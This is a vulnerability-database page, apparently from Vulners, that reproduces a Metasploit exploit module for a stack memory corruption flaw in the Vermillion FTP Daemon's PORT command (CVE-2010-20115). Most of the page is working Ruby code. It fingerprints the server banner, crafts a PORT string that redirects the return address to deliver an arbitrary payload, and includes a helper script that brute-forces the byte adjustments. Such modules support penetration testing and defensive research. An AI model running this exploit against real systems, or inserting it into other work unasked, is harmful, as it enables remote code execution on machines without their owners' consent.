Lucene search
+L

Vermillion FTP Daemon PORT Command Memory Corruption

🗓️ 23 Sep 2009 00:00:00Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 62 Views

Vermillion FTP Daemon PORT Command Memory Corruptio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2010-20115
21 Aug 202520:15
–attackerkb
circl
Circl
CVE-2010-20115
29 May 201815:50
–circl
cnnvd
CNNVD
Arcane Software Vermillion FTP Daemon 安全漏洞
21 Aug 202500:00
–cnnvd
cve
CVE
CVE-2010-20115
21 Aug 202520:15
–cve
cvelist
Cvelist
CVE-2010-20115 Vermillion FTP <= 1.31 Daemon PORT Command Memory Corruption
21 Aug 202520:15
–cvelist
euvd
EUVD
EUVD-2010-5307
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2010-20115
21 Aug 202521:15
–nvd
ptsecurity
Positive Technologies
PT-2025-34309 · Unknown · Vermillion Ftp Daemon
21 Aug 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2010-20115: Out-of-bounds Write
21 Aug 202500:00
–rapid7
redhatcve
RedhatCVE
CVE-2010-20115
23 Aug 202521:22
–redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
        'Description' => %q{
          This module exploits an out-of-bounds array access in the Arcane Software
          Vermillion FTP server. By sending a specially crafted FTP PORT command,
          an attacker can corrupt stack memory and execute arbitrary code.

          This particular issue is caused by processing data bound by attacker
          controlled input while writing into a 4 byte stack buffer. Unfortunately,
          the writing that occurs is not a simple byte copy.

          Processing is done using a source ptr (p) and a destination pointer (q).
          The vulnerable function walks the input string and continues while the
          source byte is non-null. If a comma is encountered, the function increments
          the destination pointer. If an ascii digit [0-9] is encountered, the
          following occurs:

          *q = (*q * 10) + (*p - '0');

          All other input characters are ignored in this loop.

          As a consequence, an attacker must craft input such that modifications
          to the current values on the stack result in usable values. In this exploit,
          the low two bytes of the return address are adjusted to point at the
          location of a 'call edi' instruction within the binary. This was chosen
          since 'edi' points at the source buffer when the function returns.

          NOTE: This server can be installed as a service using "vftpd.exe install".
          If so, the service does not restart automatically, giving an attacker only
          one attempt.
        },
        'Author' => [
          'jduck' # metasploit module
        ],
        'References' => [
          [ 'CVE', '2010-20115' ],
          [ 'OSVDB', '62163' ],
          [ 'EDB', '11293' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Privileged' => true,
        'Payload' => {
          # format string max length
          'Space' => 1024,
          'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
          'DisableNops'	=> true
        },
        'Platform' => 'win',
        'Targets' => [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true } ],

          #
          # specific targets
          #
          [
            'vftpd 1.31 - Windows XP SP3 English',
            {
              # call edi in vftpd.exe (v1.31)
              'OldRet' => 0x405a73, # not used directly
              'Ret' => 0x4058e3, # not used directly
              'Offset' => 16,       # distance to saved return
              'Adders' => "171,48"  # adjust the bottom two bytes
            }
          ]
        ],
        'DisclosureDate' => '2009-09-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
      ]
    )
  end

  def check
    connect
    disconnect
    vprint_status("FTP Banner: #{banner}".strip)
    if banner =~ /\(vftpd .*\)/
      return Exploit::CheckCode::Detected('FTP banner indicates Vermillion FTP daemon')
    end

    return Exploit::CheckCode::Safe('FTP banner does not match Vermillion FTP daemon')
  end

  def exploit
    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")
      connect
      disconnect

      if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        print_status("No matching target")
        return
      end

      self.targets.each do |t|
        if (t.name =~ /#{version} - /) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        print_status("No matching target")
        return
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
    end

    connect

    stuff = payload.encoded
    # skip 16 bytes
    stuff << "," * mytarget['Offset']
    # now we change the return address to be what we want
    stuff << mytarget['Adders']

    if (res = send_cmd(['PORT', stuff]))
      print_status(res.strip)
    end

    disconnect
    handler
  end
end

=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
  new_val = oret[idx]
  digits = adders[idx].to_s.unpack('C*')
  digits.each { |dig|
    dig -= 0x30
    new_val = (new_val * 10) + dig
  }
  return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
  next if (oret[idx] == nret[idx])
  10.times { |x|
    10.times { |y|
      10.times { |z|
        adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

        val = process_idx(oret, nret, adders, idx)
        if (val == nret[idx])
          final_adders[idx] = adders[idx]
        end

        break if (final_adders[idx])
      }
      break if (final_adders[idx])
    }
    break if (final_adders[idx])
  }
}


# check/print the solution
eret = []
4.times { |idx|
  eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
  puts final_adders.join(',')
  exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2009 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 49.3
EPSS0.00922
SSVC
62